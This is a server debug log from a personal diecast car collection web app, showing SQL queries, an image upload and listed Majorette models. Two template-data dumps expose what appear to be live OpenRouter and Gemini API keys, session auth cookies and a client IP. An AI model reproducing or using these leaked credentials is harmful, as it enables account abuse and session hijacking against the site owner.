2026-02-04T10:14:26.157Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T10:14:26.157Z server-connect:app Executing action step update
2026-02-04T10:14:26.157Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T10:14:26.159Z server-connect:output update: { affected: 1 }
2026-02-04T10:14:26.159Z server-connect:app Executing action step upload
2026-02-04T10:14:26.159Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T10:14:26.159Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T10:14:26.159Z server-connect:upload Process fields: 'images[]'
2026-02-04T10:14:26.159Z server-connect:upload Processing file: {
  name: 'Mercedes-amg_gle_63_yellow.JPG.webp',
  data: <Buffer >,
  size: 20518,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-39-20378841770200066154',
  truncated: false,
  mimetype: 'image/webp',
  md5: '7581704404be78ba57e72bb454e0295f',
  mv: [Function: mv]
}
2026-02-04T10:14:26.159Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/Mercedes-amg_gle_63_yellow.JPG_9ab1eea5-9c20-4349-ae5b-0f414b472582.webp',
  rel: 'public/assets/images/diecast/Mercedes-amg_gle_63_yellow.JPG_9ab1eea5-9c20-4349-ae5b-0f414b472582.webp'
}
2026-02-04T10:14:26.159Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/Mercedes-amg_gle_63_yellow.JPG_9ab1eea5-9c20-4349-ae5b-0f414b472582.webp',
  rel: 'assets/images/diecast/Mercedes-amg_gle_63_yellow.JPG_9ab1eea5-9c20-4349-ae5b-0f414b472582.webp'
}
2026-02-04T10:14:26.159Z server-connect:output upload_image: [
  {
    name: 'Mercedes-amg_gle_63_yellow.JPG_9ab1eea5-9c20-4349-ae5b-0f414b472582.webp',
    path: '/public/assets/images/diecast/Mercedes-amg_gle_63_yellow.JPG_9ab1eea5-9c20-4349-ae5b-0f414b472582.webp',
    url: '/assets/images/diecast/Mercedes-amg_gle_63_yellow.JPG_9ab1eea5-9c20-4349-ae5b-0f414b472582.webp',
    type: 'image/webp',
    size: 20518
  }
]
2026-02-04T10:14:26.159Z server-connect:app Executing action step repeat
2026-02-04T10:14:26.159Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T10:14:26.159Z server-connect:app Executing action step insert
2026-02-04T10:14:26.159Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T10:14:26.160Z server-connect:output images: { affected: 1, identity: 190 }
2026-02-04T10:14:26.160Z server-connect:output repeat_images: [ {} ]
2026-02-04T10:14:26.160Z server-connect:output condition: undefined
2026-02-04T10:14:26.381Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:14:26.381Z server-connect:app Executing action step identify
2026-02-04T10:14:26.381Z server-connect:app options: { provider: 'security' }
2026-02-04T10:14:26.381Z server-connect:output identity: 1
2026-02-04T10:14:26.381Z server-connect:app Executing action step restrict
2026-02-04T10:14:26.381Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:14:26.382Z server-connect:output restrict: undefined
2026-02-04T10:14:26.382Z server-connect:app Executing action step paged
2026-02-04T10:14:26.382Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:14:26.384Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:14:31.832Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:14:31.832Z server-connect:app Executing action step identify
2026-02-04T10:14:31.832Z server-connect:app options: { provider: 'security' }
2026-02-04T10:14:31.832Z server-connect:output identity: 1
2026-02-04T10:14:31.832Z server-connect:app Executing action step restrict
2026-02-04T10:14:31.832Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:14:31.833Z server-connect:output restrict: undefined
2026-02-04T10:14:31.833Z server-connect:app Executing action step paged
2026-02-04T10:14:31.833Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:14:31.834Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: []
    }
  ]
}
2026-02-04T10:14:32.051Z server-connect:router Serving templateView /
2026-02-04T10:14:32.051Z server-connect:app Executing action step identify
2026-02-04T10:14:32.051Z server-connect:app options: { provider: 'security' }
2026-02-04T10:14:32.052Z server-connect:output identity: 1
2026-02-04T10:14:32.052Z server-connect:app Executing action step restrict
2026-02-04T10:14:32.052Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:14:32.052Z server-connect:output restrict: undefined
2026-02-04T10:14:32.052Z server-connect:app Executing action step restrict
2026-02-04T10:14:32.052Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:14:32.052Z server-connect:output restrict: undefined
2026-02-04T10:14:32.052Z server-connect:router Render template layouts/main
2026-02-04T10:14:32.053Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=195&manufacturer=&condition=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=195&manufacturer=&condition=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T10:33:41.598Z server-connect:router Serving templateView /diecast
2026-02-04T10:33:41.598Z server-connect:app Executing action step identify
2026-02-04T10:33:41.598Z server-connect:app options: { provider: 'security' }
2026-02-04T10:33:41.598Z server-connect:output identity: 1
2026-02-04T10:33:41.598Z server-connect:app Executing action step restrict
2026-02-04T10:33:41.598Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:33:41.599Z server-connect:output restrict: undefined
2026-02-04T10:33:41.599Z server-connect:router Render template layouts/main
2026-02-04T10:33:41.600Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {
    brand: '',
    search: '',
    series: '195',
    manufacturer: '',
    condition: ''
  },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'brand=&search=&series=195&manufacturer=&condition=',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-02-04T10:33:42.528Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-04T10:33:42.531Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:33:42.533Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-04T10:33:42.533Z server-connect:app Executing action step identify
2026-02-04T10:33:42.533Z server-connect:app options: { provider: 'security' }
2026-02-04T10:33:42.533Z server-connect:output identity: 1
2026-02-04T10:33:42.533Z server-connect:app Executing action step restrict
2026-02-04T10:33:42.533Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:33:42.535Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T10:33:42.535Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T10:33:42.535Z server-connect:app Executing action step identify
2026-02-04T10:33:42.535Z server-connect:app options: { provider: 'security' }
2026-02-04T10:33:42.535Z server-connect:output identity: 1
2026-02-04T10:33:42.535Z server-connect:app Executing action step restrict
2026-02-04T10:33:42.535Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:33:42.535Z server-connect:output restrict: undefined
2026-02-04T10:33:42.535Z server-connect:app Executing action step select
2026-02-04T10:33:42.535Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-04T10:33:42.536Z server-connect:app Executing action step identify
2026-02-04T10:33:42.536Z server-connect:app options: { provider: 'security' }
2026-02-04T10:33:42.536Z server-connect:output identity: 1
2026-02-04T10:33:42.536Z server-connect:app Executing action step restrict
2026-02-04T10:33:42.536Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:33:42.536Z server-connect:app Executing action step identify
2026-02-04T10:33:42.536Z server-connect:app options: { provider: 'security' }
2026-02-04T10:33:42.536Z server-connect:output identity: 1
2026-02-04T10:33:42.536Z server-connect:app Executing action step restrict
2026-02-04T10:33:42.536Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:33:42.537Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T10:33:42.537Z server-connect:app Executing action step identify
